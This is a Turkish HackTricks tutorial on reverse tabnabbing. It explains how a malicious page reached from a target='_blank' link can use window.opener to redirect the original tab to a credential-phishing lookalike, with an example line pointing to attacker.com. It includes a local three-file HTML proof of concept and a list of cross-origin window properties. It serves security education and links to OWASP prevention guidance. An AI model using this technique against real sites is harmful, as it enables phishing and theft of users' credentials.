mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
113 lines
6.6 KiB
Markdown
113 lines
6.6 KiB
Markdown
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
|
||
# Açıklama
|
||
|
||
Bir **saldırgan**, bir **kurban** tarafından tıklanacak olan **`target="_blank" rel="opener"`** özniteliğine sahip bir **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kendi kontrolü altındaki bir web sitesine (bir **zararlı** **web sitesi**) yönlendirebilir. Ardından, kurban bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu **zararlı** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal sayfayı kontrol edebilir**.\
|
||
Eğer sayfada **`rel="opener"`** bulunmuyor ancak **`target="_blank"`** bulunuyorsa ve **`rel="noopener"`** de bulunmuyorsa, bu da zayıf olabilir.
|
||
|
||
Bu davranışı kötüye kullanmanın yaygın bir yolu, `window.opener.location = https://attacker.com/victim.html` aracılığıyla **orijinal web sitesinin konumunu değiştirmek** ve saldırgan tarafından kontrol edilen, **orijinaline benzeyen** bir web sitesine yönlendirmektir, böylece kullanıcıdan kimlik bilgilerini isteyebilir.
|
||
|
||
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiği için**, daha gizli saldırılar gerçekleştirmek için başka yollarla da kötüye kullanabilir (belki javascript etkinliklerini değiştirerek bilgileri kendisi tarafından kontrol edilen bir sunucuya çalmak?)
|
||
|
||
# Genel Bakış
|
||
|
||
## Geri bağlantı ile
|
||
|
||
Önleme özniteliği kullanılmadığında, ana ve alt sayfalar arasındaki bağlantı:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
|
||
|
||
## Geri bağlantı olmadan
|
||
|
||
Önleme özniteliği kullanıldığında, ana ve alt sayfalar arasındaki bağlantı:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
|
||
|
||
## Örnekler <a href="#examples" id="examples"></a>
|
||
|
||
Aşağıdaki sayfaları bir klasöre oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
|
||
Ardından, `http://127.0.0.1:8000/`vulnerable.html'ye **erişin**, bağlantıya **tıklayın** ve **orijinal** **web sitesinin URL'sinin nasıl değiştiğini** not edin.
|
||
|
||
{% code title="vulnerable.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% code title="kötücül.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% code title="kötü_niyetli_redir.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
**Çapraz kökenli** bir erişimin (farklı alanlar arasında erişim) gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen **opener** JavaScript nesne referansıyla ilişkilendirilen **window** JavaScript sınıf örneğinin erişebileceği özellikler aşağıdakiyle sınırlıdır:
|
||
|
||
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döndürür.
|
||
- **`opener.frames`**: Bu özellik, mevcut pencere içindeki tüm iframe öğelerine erişim sağlar.
|
||
- **`opener.length`**: Bu özellik, mevcut penceredeki iframe öğelerinin sayısını döndürür.
|
||
- **`opener.opener`**: Bu özellik aracılığıyla, mevcut pencereyi açan pencereye referans alınabilir.
|
||
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst penceresini döndürür.
|
||
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
|
||
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döndürür.
|
||
|
||
Ancak, alanlar aynı olduğunda, kötü niyetli site [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim sağlar.
|
||
|
||
# Önleme
|
||
|
||
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) belgesine kaydedilmiştir.
|
||
|
||
## Referanslar
|
||
|
||
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||
|
||
</details>
|